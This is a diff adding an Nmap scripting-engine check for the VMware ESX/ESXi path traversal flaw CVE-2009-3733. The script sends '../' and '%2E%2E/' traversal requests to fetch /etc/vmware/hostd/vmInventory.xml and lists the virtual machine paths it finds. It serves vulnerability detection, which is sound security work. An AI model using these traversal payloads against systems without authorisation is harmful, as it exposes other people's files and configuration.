diff options
Diffstat (limited to 'scripts/http-vmware-path-vuln.nse')
-rw-r--r-- | scripts/http-vmware-path-vuln.nse | 141 |
1 files changed, 141 insertions, 0 deletions
diff --git a/scripts/http-vmware-path-vuln.nse b/scripts/http-vmware-path-vuln.nse new file mode 100644 index 0000000..92aae11 --- /dev/null +++ b/scripts/http-vmware-path-vuln.nse @@ -0,0 +1,141 @@ +local http = require "http" +local nmap = require "nmap" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" + +description = [[ +Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733). + +The vulnerability was originally released by Justin Morehouse and Tony Flick, who presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html). +]] + +--- +-- @usage +-- nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host> +-- +-- @output +-- | http-vmware-path-vuln: +-- | VMWare path traversal (CVE-2009-3733): VULNERABLE +-- | /vmware/Windows 2003/Windows 2003.vmx +-- | /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx +-- | /vmware/Pentest/Pentest - Windows/Windows 2003.vmx +-- | /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx +-- | /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx +-- | /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx +-- |_ /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx +----------------------------------------------------------------------- + +author = "Ron Bowes" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln", "safe"} + + +portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"}) + +local function get_file(host, port, path) + local file + + -- Replace spaces in the path with %20 + path = string.gsub(path, " ", "%%20") + + -- Try both ../ and %2E%2E/ + file = "/sdk/../../../../../../" .. path + + local result = http.get( host, port, file) + if(result['status'] ~= 200 or result['content-length'] == 0) then + file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path + result = http.get( host, port, file) + + if(result['status'] ~= 200 or result['content-length'] == 0) then + return false, "Couldn't download file: " .. path + end + end + + return true, result.body, file +end + +local function fake_xml_parse(str, tag) + local result = {} + local index, tag_start, tag_end + + -- Lowercase the 'body' we're searching + local lc = string.lower(str) + -- Lowercase the tag + tag = string.lower(tag) + + -- This loop does some ugly pattern-based xml parsing + index, tag_start = string.find(lc, "<" .. tag .. ">") + while index do + tag_end, index = string.find(lc, "</" .. tag .. ">", index) + table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase + index, tag_start = string.find(lc, "<" .. tag .. ">", index) + end + + return result +end + +--local function parse_vmware_conf(str, field) +-- local index, value_start = string.find(str, field .. "[^\"]*") +-- if(not(index) or not(value_start)) then +-- return nil +-- end +-- +-- local value_end = string.find(str, "\"", value_start + 1) +-- if(not(value_end)) then +-- return nil +-- end +-- +-- return string.sub(str, value_start + 1, value_end - 1) +--end + +local function go(host, port) + local result, body + local files + + -- Try to download the file + result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml"); + -- It failed -- probably not vulnerable + if(not(result)) then + return false, "Couldn't download file: " .. body + end + + -- Check if the file contains the proper XML + if(string.find(string.lower(body), "configroot") == nil) then + return false, "Server didn't return XML -- likely not vulnerable." + end + + files = fake_xml_parse(body, "vmxcfgpath") + + if(#files == 0) then + return true, {"No VMs appear to be installed"} + end + + -- Process each of the .vmx files if verbosity is on + --if(nmap.verbosity() > 1) then + -- local result, file = get_file(host, port, files[1]) + -- io.write(nsedebug.tostr(file)) + --end + + return true, files +end + +action = function(host, port) + -- Try a standard ../ path + local status, result = go(host, port) + + if(not(status)) then + return nil + end + + local response = {} + table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE") + + if(nmap.verbosity() > 1) then + table.insert(response, result) + end + + return stdnse.format_output(true, response) +end + |